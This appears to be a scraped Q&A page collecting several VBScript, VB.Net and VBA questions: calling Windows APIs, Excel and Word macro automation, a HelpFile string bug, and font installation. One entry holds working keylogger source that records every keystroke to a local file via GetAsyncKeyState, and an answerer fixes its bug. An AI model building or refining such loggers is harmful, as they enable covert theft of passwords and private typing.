I have a vbs script that plays an mp3, the normal thing would be to call it by dragging the mp3 file to the vbs or specify the mp3 with the command line.
Set objArgs = Wscript.Arguments
if (objArgs.Count = 0) then
Wscript.echo "Necesito un archivo MP3"
WScript.Quit 123
end if
'Wscript.echo "Playing: " & objArgs(0) & "..."
Set objPlayer = createobject("Wmplayer.OCX.7")
With objPlayer ' saves typing
.settings.autoStart = True
.settings.volume = 100 ' 0 - 100
.settings.balance = 0 ' -100 to 100
.settings.enableErrorDialogs = False
.enableContextMenu = False
.URL = objArgs(0)
WScript.Sleep(10000) ' time to load and start playing
'.Controls.Pause() ' stop
End With
WScript.Quit 0
' MsgBox "if WMP is still playing, clicking OK will end it", _
' vbInformation, "WMP Demo finished"
I need to call this code without creating the vbs file to keep things simple.
Can this be done with Windows APIs?
For example
callvbsfunction("mycodevbs")
and run it?
When I refer to windows api I mean functions similar to these
MessageBox( 0, "Test", "Title here", MB_OK )
GetSystemMetrics( SM_CXSCREEN )
ShellExecute( 0, "open", "c:\myfile.txt", 0, 0, 1 )
Beep( 1000, 250 )
and more...
Note you VBScript has errors.
VBScript cannot call API calls. VB.Net can
To convert VBScript to VB.Net
Remove the Set keyword. So just objPlayer = createobject("Wmplayer.OCX.7").
Dim every variable as Object except in API calls.
Put the following lines at the top of the file.
Imports System
Imports System.Runtime.InteropServices
Public Module AnythingYouWantToCallIt
Sub Main
and at the bottom
End Sub
End Module
All parameters must be in brackets including Sub. In VBScript only Functions require brackets and Subs require no brackets. In VB.Net both Functions and Subs require brackets.
That will handle VBScript conversion. Note the WScript top level object is not available. For WScript.Arguments use Command().
To Call API Calls
You have to use the declare keyword. You put Declare before Sub Main and after Module.
Public Declare Function Lib "User32" GetSystemMetrics(ByVal SM as Integer) As Integer
Const SM_CXSCREEN = 0
You get the function prototype for the Declare from the documentation. https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getsystemmetrics
Then in your code
x = GetSystemMetrics(SM_CXSCREEN)
To compile, type in a command prompt fixing filenames
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe" /target:winexe /out:"%~dp0\DeDup.exe" "%~dp0\DeDup.vb"
Here is my blog about porting VBA to VB.Net while writing in a VBA code. Remember legal VBScript is legal VBA. https://winsourcecode.blogspot.com
Imports System
Imports System.Runtime.InteropServices
Public Module AnythingYouWantToCallIt
Public Declare Function GetSystemMetrics Lib "User32" (ByVal SM as Integer) As Integer
Const SM_CXSCREEN = 0
Sub Main
Dim X as Object
MsgBox( "Test", 0, "Title here")
x = GetSystemMetrics( SM_CXSCREEN )
Msgbox(X)
End Sub
End Module
Related
I am trying to create a basic keylogging program. I am interested in cyber security and want to learn more. I have hashed together the code below from various sources.
The line text = converter.ToString(i) generates an index out of bounds error.
I am thinking that this is because the object converter has not been instantiated as it should?? But how to fix it?
Imports System.IO
Imports System.Text
Imports System.Windows.Forms
Imports System.Runtime.InteropServices
Imports System.Threading
Module Module1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Sub Main()
Dim filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
filepath &= "\LogsFolder\"
If (Not Directory.Exists(filepath)) Then
Directory.CreateDirectory(filepath)
End If
Dim Path = (filepath & "LoggedKeys.text")
If Not File.Exists(Path) Then
Using sw As StreamWriter = File.CreateText(Path)
End Using
End If
Dim Converter = New KeysConverter()
Dim text As String = ""
While (True)
Thread.Sleep(5)
For i As Integer = 0 To 1999
Dim key = GetAsyncKeyState(i)
If key = 1 Or key = -32767 Then
text = converter.ToString(i)
Using sw As StreamWriter = File.AppendText(Path)
sw.WriteLine(text)
End Using
Exit For
End If
Next
End While
End Sub
End Module
Looks like you're looking for the ConvertToString method.
Replace the following line:
text = converter.ToString(i)
With:
text = converter.ConvertToString(i)
Edit to address your concerns in the comments:
I get a syntax error, 'ConvertToString' is not a member of KeysConverter... it sounds like my instantiation has not worked.
Hover with the mouse cursor over your Converter variable and double-check its type. Make sure that KeysConverter actually is the System.Windows.Forms.KeysConverter class and not some kind of a local generated class.
MyImports System.Windows.Forms statement is ghosted - suggesting that its never used.
That's what I suspected. You seem to be in a Console application and you're accessing a class within the System.Windows.Forms namespace which is not included in the Console app. You need to add a reference to System.Windows.Forms.dll as explained in this answer.
Also, make sure you locate and delete the generated KeysConverter class from your project so you avoid conflicts.
I am trying to have an excel file open daily, update, and save. The file is on a remote desktop since it is pulling data from a program on the remote desktop. Not everyone has access to the remote desktop, but they can access the excel file.
The File is pulling data out of a software, running a macro to organize & filter. I would like to have this file open Daily in the morning, run the macro, then save and close the file. I have gotten task manager to open the file, but unsure how to the get macro to run, and what I need to add in order for the file to save itself.
If you want to do this in pure Excel/VBA, you can actually send command line parameters to the workbook. It's not the most straight-forward process.
If you create a Workbook_Open event on the workbook object itself, the code within this event will run every time you open Excel.
The trick, then is to have it only do your refresh tasks when you tell it to and quietly exit every other time.
Step 1: create your event:
Private Sub Workbook_Open()
Dim CmdRaw As Long
Dim CmdLine, LastParam As String
Dim Params As Variant
CmdRaw = GetCommandLine ' in our example, this will be /e/Refresh
CmdLine = CmdToSTr(CmdRaw)
Params = Split(CmdLine, "/")
LastParam = Params(UBound(Params))
If LastParam = "Refresh" Then
Module1.RunAllOfThatAutomationJunk
End If
End Sub
Again, this will only do the actual work if it gets a command-line argument where the last parameter is "Refresh." You can make this whatever you want, of course.
This is the part that is not intuitive. When you open your workbook in task manager, you have to open the Excel application with the command line parameter, along with your document:
excel.exe c:\MyLocation\MyFile.xlsm /e/Refresh
The /e is what triggers the command to be send to Excel, and you can see how the event parses this out. You can put as many command line arguments as you want this way, between the slashes.
Bear in mind Excel.exe might actually be something like:
"c:\Program Files (x86)\Microsoft Office\Office14\excel.exe"
But I didn't want to assume anything.
--EDIT--
This code also has to exist (in a module) to enable these features. In the past, I tried adding it to the workbook VBA itself without success, but if it's in a separate module/class, it seems to work perfectly.
Declare Function GetCommandLine Lib "kernel32" Alias "GetCommandLineW" () As Long
Declare Function lstrlenW Lib "kernel32" (ByVal lpString As Long) As Long
Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (MyDest As Any, MySource As Any, ByVal MySize As Long)
Function CmdToSTr(cmd As Long) As String
Dim Buffer() As Byte
Dim StrLen As Long
If cmd Then
StrLen = lstrlenW(cmd) * 2
If StrLen Then
ReDim Buffer(0 To (StrLen - 1)) As Byte
CopyMemory Buffer(0), ByVal cmd, StrLen
CmdToSTr = Buffer
End If
End If
End Function
Here is a PowerShell script that we use to open an Excel file, extract some worksheets to CSV and then exit. I hope it is helpful.
#
# Extract worksheets from Excel into CSV files
#
$workingDir = Get-Location
$XL = New-Object -ComObject Excel.Application
$XL.Visible = $false
$XL.DisplayAlerts = $false
$inputFile = $workingDir.ProviderPath + '\Properties.xlsx'
write-debug $inputFile
$wb = $XL.Workbooks.Open($inputFile)
foreach ($ws in $wb.Worksheets)
{
$outputName = $workingDir.ProviderPath + '\' + $ws.Name + '.csv'
write-debug $outputName
#
# The second argument is XlFileFormat enum.
# 6 = xlCSV
# 23 = xlCSVWindows
#
$ws.SaveAs($outputName, 6)
}
$XL.Quit()
I think I've stumbled upon a bug in Excel - I'd really like to verify it with someone else though.
The bug occurs when reading the Workbook.VBProject.HelpFile property when the workbook has been opened with the opening application's .AutomationSecurity property set to ForceDisable. In that case this string property returns a (probably) malformed Unicode string, which VBA in turn displays with question marks. Running StrConv(..., vbUnicode) on it makes it readable again, but it sometimes looses the last character this way; this might indicate that the unicode string is indeed malformed or such, and that VBA therefore tries to convert it first and fails.
Steps to reproduce this behaviour:
Create a new Excel workbook
Go to it's VBA project (Alt-F11)
Add a new code module and add some code to it (like e.g. Dim a As Long)
Enter the project's properties (menu Tools... properties)
Enter "description" as Project description and "abc.hlp" as Help file name
Save the workbook as a .xlsb or .xlsm
Close the workbook
Create a new Excel workbook
Go to it's VBA project (Alt-F11)
Add a fresh new code module
Paste the code below in it
Adjust the path on the 1st line so it points to the file you created above
Run the Test routine
The code to use:
Const csFilePath As String = "<path to your test workbook>"
Sub TestSecurity(testType As String, secondExcel As Application, security As MsoAutomationSecurity)
Dim theWorkbook As Workbook
secondExcel.AutomationSecurity = security
Set theWorkbook = secondExcel.Workbooks.Open(csFilePath)
Call MsgBox(testType & " - helpfile: " & theWorkbook.VBProject.HelpFile)
Call MsgBox(testType & " - helpfile converted: " & StrConv(theWorkbook.VBProject.HelpFile, vbUnicode))
Call MsgBox(testType & " - description: " & theWorkbook.VBProject.Description)
Call theWorkbook.Close(False)
End Sub
Sub Test()
Dim secondExcel As Excel.Application
Set secondExcel = New Excel.Application
Dim oldSecurity As MsoAutomationSecurity
oldSecurity = secondExcel.AutomationSecurity
Call TestSecurity("enabled macros", secondExcel, msoAutomationSecurityLow)
Call TestSecurity("disabled macros", secondExcel, msoAutomationSecurityForceDisable)
secondExcel.AutomationSecurity = oldSecurity
Call secondExcel.Quit
Set secondExcel = Nothing
End Sub
Conclusion when working from Excel 2010:
.Description is always readable, no matter what (so it's not like all string properties behave this way)
xlsb and xlsm files result in an unreadable .HelpFile only when macros are disabled
xls files result in an unreadable .HelpFile in all cases (!)
It might be even weirder than that, since I swear I once even saw the questionmarks-version pop up in the VBE GUI when looking at such a project's properties, though I'm unable to reproduce that now.
I realize this is an edge case if ever there was one (except for the .xls treatment though), so it might just have been overlooked by Microsoft's QA department, but for my current project I have to get this working properly and consistently across Excel versions and workbook formats...
Could anyone else test this as well to verify my Excel installation isn't hosed? Preferably also with another Excel version, to see if that makes a difference?
Hopefully this won't get to be a tumbleweed like some of my other posts here :) Maybe "Tumbleweed generator" might be a nice badge to add...
UPDATE
I've expanded the list of properties to test just to see what else I could find, and of all the VBProject's properties (BuildFileName, Description, Filename, HelpContextID, HelpFile, Mode, Name, Protection and Type) only .HelpFile has this problem of being mangled when macros are off.
UPDATE 2
Porting the sample code to Word 2010 and running that exhibits exactly the same behaviour - the .HelpFile property is malformed when macros are disabled. Seems like the code responsible for this is Office-wide, probably in a shared VBA library module (as was to be expected TBH).
UPDATE 3
Just tested it on Excel 2007 and 2003, and both contain this bug as well. I haven't got an Excel XP installation to test it out on, but I can safely say that this issue already has a long history :)
I've messed with the underlying binary representation of the strings in question, and found out that the .HelpFile string property indeed returns a malformed string.
The BSTR representation (underwater binary representation for VB(A) strings) returned by the .HelpFile property lists the string size in the 4 bytes in front of the string, but the following content is filled with the ASCII representation and not the Unicode (UTF16) representation as VBA expects.
Parsing the content of the BSTR returned and deciding for ourselves which format is most likely used fixes this issue in some circumstances. Another issue is unfortunately at play here as well: it only works for even-length strings... Odd-length strings get their last character chopped off, their BSTR size is reported one short, and the ASCII representation just doesn't include the last character either... In that case, the string cannot be recovered fully.
The following code is the example code in the question augmented with this fix. The same usage instructions apply to it as for the original sample code. The RecoverString function performs the needed magic to, well, recover the string ;) DumpMem returns a 50-byte memory dump of the string you pass to it; use this one to see how the memory is layed out exactly for the passed-in string.
Const csFilePath As String = "<path to your test workbook>"
Private Declare Sub CopyMemoryByte Lib "kernel32" Alias "RtlMoveMemory" (ByRef Destination As Byte, ByVal Source As Long, ByVal Length As Integer)
Private Declare Sub CopyMemoryWord Lib "kernel32" Alias "RtlMoveMemory" (ByRef Destination As Integer, ByVal Source As Long, ByVal Length As Integer)
Private Declare Sub CopyMemoryDWord Lib "kernel32" Alias "RtlMoveMemory" (ByRef Destination As Long, ByVal Source As Long, ByVal Length As Integer)
Function DumpMem(text As String) As String
Dim textAddress As LongPtr
textAddress = StrPtr(text)
Dim dump As String
Dim offset As Long
For offset = -4 To 50
Dim nextByte As Byte
Call CopyMemoryByte(nextByte, textAddress + offset, 1)
dump = dump & Right("00" & Hex(nextByte), 2) & " "
Next
DumpMem = dump
End Function
Function RecoverString(text As String) As String
Dim textAddress As LongPtr
textAddress = StrPtr(text)
If textAddress <> 0 Then
Dim textSize As Long
Call CopyMemoryDWord(textSize, textAddress - 4, 4)
Dim recovered As String
Dim foundNulls As Boolean
foundNulls = False
Dim offset As Long
For offset = 0 To textSize - 1
Dim nextByte As Byte
Call CopyMemoryByte(nextByte, textAddress + offset, 1)
recovered = recovered & Chr(CLng(nextByte) + IIf(nextByte < 0, &H80, 0))
If nextByte = 0 Then
foundNulls = True
End If
Next
Dim isNotUnicode As Boolean
isNotUnicode = isNotUnicode Mod 2 = 1
If foundNulls And Not isNotUnicode Then
recovered = ""
For offset = 0 To textSize - 1 Step 2
Dim nextWord As Integer
Call CopyMemoryWord(nextWord, textAddress + offset, 2)
recovered = recovered & ChrW(CLng(nextWord) + IIf(nextWord < 0, &H8000, 0))
Next
End If
End If
RecoverString = recovered
End Function
Sub TestSecurity(testType As String, secondExcel As Application, security As MsoAutomationSecurity)
Dim theWorkbook As Workbook
secondExcel.AutomationSecurity = security
Set theWorkbook = secondExcel.Workbooks.Open(csFilePath)
Call MsgBox(testType & " - helpfile: " & theWorkbook.VBProject.HelpFile & " - " & RecoverString(theWorkbook.VBProject.HelpFile))
Call MsgBox(testType & " - description: " & theWorkbook.VBProject.Description & " - " & RecoverString(theWorkbook.VBProject.Description))
Call theWorkbook.Close(False)
End Sub
Sub Test()
Dim secondExcel As Excel.Application
Set secondExcel = New Excel.Application
Dim oldSecurity As MsoAutomationSecurity
oldSecurity = secondExcel.AutomationSecurity
Call TestSecurity("disabled macros", secondExcel, msoAutomationSecurityForceDisable)
Call TestSecurity("enabled macros", secondExcel, msoAutomationSecurityLow)
secondExcel.AutomationSecurity = oldSecurity
Call secondExcel.Quit
Set secondExcel = Nothing
End Sub
I have a module that can be called from any part of my application to check if a particular font is installed on the users system, and if not - install the font and check again before continuing
Main Applicaton
if RequiredFont.Run(strFontName) = FALSE Then '(error message and exit sub)
Module "RequiredFont"
Public Function Run(Font As String) As Boolean
if check(Font) = FALSE Then
Run = FALSE
Install(Font)
if check(Font) = TRUE Then Run = TRUE
Else
Run = TRUE
End If
Private Function Check(Font as String) as Boolean
'code to check the font exists on the users localmachine, returns true/false
End Sub
Private Sub Install(Font as String)
'code to install the font on the users localmachine,
End Sub
My first question is:
Is the best way to make arguments available to all functions and subs, to pass them through each time I call? (as shown above).... or is there a simple way to declare an argument as variable to the whole module when Run() is called?
My Second Question is:
Is there a way I can avoid Run() alltogether and just call the module name "RequiredFont" directly, I remember that in other languages, calling a sub by a certain name would automatically run that sub when the module is called
Thank You
EDIT - This is how my code looks now:
Private FontName As String
Private FontFile As String
Public Function Run(strFontName As String, strFontFile As String) As Boolean
FontName = strFontName
FontFile = strFontFile
Run = False
If CheckFont() = False Then InstallFont
If CheckFont() = True Then
Run = True
Else
'message error"
End If
End Function
Private Function CheckFont() As Boolean
'code to check if the font is installed
On Error Resume Next
'Create a temporary StdFont object
With New StdFont
' Assign the proposed font name
.Name = FontName
' Return true if font assignment succeded
If (StrComp(FontName, .Name, vbTextCompare) = 0) = False Then
CheckFont = False
Else
CheckFont = True
End If
End With
End Function
Private Sub InstallFont()
' code to install the font
MsgBox "You need the following font installed to continue." _
& vbNewLine _
& vbNewLine & "'" & FontName & "'" _
& vbNewLine _
& vbNewLine & "Click OK to launch the font. Please click the INSTALL button at the top"
OpenFile (PATH_TO_FONTS & FontFile)
End Sub
Using function arguments is a good coding practise, that way you know exactly what goes in and what goes out a function.
You can however use a global variable, which would be set once when Run is called and still be accessible to the other functions.
'could also be Private to hide it from other modules
Public myFont As String
Public Function Run(Font As String) As Boolean
myFont = Font
'...
End Sub
Private Function Check() as Boolean
' you can access myFont here
End Sub
Private Sub Install()
'idem
End Sub
Regarding your second question, I don't think you can.
You can declare optional functions, and set defaults:
Public Function fxMyFunction _
(Optional lngProj As Variant, _
Optional strFruit As Variant = "banana", _
Optional booTest As Boolean = False) As String
'' IsMissing requires that lngProj be a Variant
booNoProject = IsMissing(lngProj)
fxMyFunction = strFruit
End Function
The Optional arguments must follow non-optional arguments.
About functions that "run on inclusion"
You do have to call functions and subs by name. There is no "self-running function" feature for a VBA standard module. VBA "includes" all modules on compiling.
VBA class modules are where you will find the equivalent of constructors. Investing in VBA's version of object-orientation doesn't seem helpful for your current need. If you do go that direction, some aspects will start looking familiar to you (though perhaps just enough to get frustrating, as OO remains a feature that was added later and looks the part).
As #z states, you can use a global variable, although this is bad practice.
Regarding question 2, you can give your function a unique name and omit naming your module to run it, e.g.
findOrInstallFont(Fontname)
I'm building some Word 2003 macro that have to be put in the %APPDATA%\Microsoft\Word\Startup folder.
I can't change the location of this folder (to a network share). How can I auto update this macros ?
I have tried to create a bootstrapper macro, with an AutoExec sub that copy newer version from a file share to this folder. But as Word is locking the file, I get a Denied Exception.
Any idea ?
FYI, I wrote this code. The code is working fine for update templates in templates directory, but not in startup directory :
' Bootstrapper module
Option Explicit
Sub AutoExec()
Update
End Sub
Sub Update()
MirrorDirectory MyPath.MyAppTemplatesPath, MyPath.WordTemplatesPath
MirrorDirectory MyPath.MyAppStartupTemplatesPath, MyPath.WordTemplatesStartupPath
End Sub
' IOUtilities Module
Option Explicit
Dim fso As New Scripting.FileSystemObject
Public Sub MirrorDirectory(sourceDir As String, targetDir As String)
Dim result As FoundFiles
Dim s As Variant
sourceDir = RemoveTrailingBackslash(sourceDir)
targetDir = RemoveTrailingBackslash(targetDir)
With Application.FileSearch
.NewSearch
.FileType = MsoFileType.msoFileTypeAllFiles
.LookIn = sourceDir
.SearchSubFolders = True
.Execute
Set result = .FoundFiles
End With
For Each s In result
Dim relativePath As String
relativePath = Mid(s, Len(sourceDir) + 1)
Dim targetPath As String
targetPath = targetDir + relativePath
CopyIfNewer CStr(s), targetPath
Next s
End Sub
Public Function RemoveTrailingBackslash(s As String)
If Right(s, 1) = "\" Then
RemoveTrailingBackslash = Left(s, Len(s) - 1)
Else
RemoveTrailingBackslash = s
End If
End Function
Public Sub CopyIfNewer(source As String, target As String)
Dim shouldCopy As Boolean
shouldCopy = False
If Not fso.FileExists(target) Then
shouldCopy = True
ElseIf FileDateTime(source) > FileDateTime(target) Then
shouldCopy = True
End If
If (shouldCopy) Then
If Not fso.FolderExists(fso.GetParentFolderName(target)) Then fso.CreateFolder (fso.GetParentFolderName(target))
fso.CopyFile source, target, True
Debug.Print "File copied : " + source + " to " + target
Else
Debug.Print "File not copied : " + source + " to " + target
End If
End Sub
' MyPath module
Property Get WordTemplatesStartupPath()
WordTemplatesStartupPath = "Path To Application Data\Microsoft\Word\STARTUP"
End Property
Property Get WordTemplatesPath()
WordTemplatesPath = "Path To Application Data\Microsoft\Templates\Myapp\"
End Property
Property Get MyAppTemplatesPath()
MyAppTemplatesPath = "p:\MyShare\templates"
End Property
Property Get XRefStartupTemplatesPath()
MyAppStartupTemplatesPath = "p:\MyShare\startup"
End Property
[Edit] I explored another way
Another way I'm thinking about, is to pilot the organizer :
Sub Macro1()
'
' Macro1 Macro
' Macro recorded 10/7/2011 by beauge
'
Application.OrganizerCopy source:="P:\MyShare\Startup\myapp_bootstrapper.dot", _
Destination:= _
"PathToApplication Data\Microsoft\Word\STARTUP\myapp_bootstrapper.dot" _
, Name:="MyModule", Object:=wdOrganizerObjectProjectItems
End Sub
This is working, but has limitations :
either I have to hard-code modules to organize
or I have to change the option "Trust VBA project" to autodiscover items like this (which is not acceptable as it requires to lower the security of the station) :
the code of the project enumeration is this one :
Public Sub EnumProjectItem()
Dim sourceProject As Document
Dim targetProject As Document
Set sourceProject = Application.Documents.Open("P:\MyShare\Startup\myapp_bootstrapper.dot", , , , , , , , , wdOpenFormatTemplate)
Set targetProject = Application.Documents.Open("PathToApplication Data\Microsoft\Word\STARTUP\myapp_bootstrapper.dot", , , , , , , , , wdOpenFormatTemplate)
Dim vbc As VBcomponent
For Each vbc In sourceProject.VBProject.VBComponents 'crash here
Application.ActiveDocument.Range.InsertAfter (vbc.Name + " / " + vbc.Type)
Application.ActiveDocument.Paragraphs.Add
Next vbc
End Sub
[Edit 2] Another unsuccessful try :
I put, in my network share, a .dot with all the logic.
In my STARTUP folder, I put a simple .Dot file, that references the former one, with a single "Call MyApp.MySub".
This is actually working, but as the target template is not in a trusted location, a security warning is popped up each time word is launched (even if not related to the current application macro)
At least, I succeed partially using these steps :
Create a setup package. I use a NSIS script
the package detect any instance of Winword.exe and ask the user to retry when word is closed
extract from the registry the word's option path
deploy the files into the word's startup folder
add an uninstaller in the local user add/remove programs
I put the package in the remote share. I also added a .ini file containing the last version of the package (in the form "1.0")
In the macro itself, I have a version number ("0.9" for example).
At the startup (AutoExec macro), I compare the local version to the remote version
I use shell exec to fire the setup if a newer version is found.
The setup will wait for Word to close
A bit tricky, but it works on Word 2K3 and Word 2K10.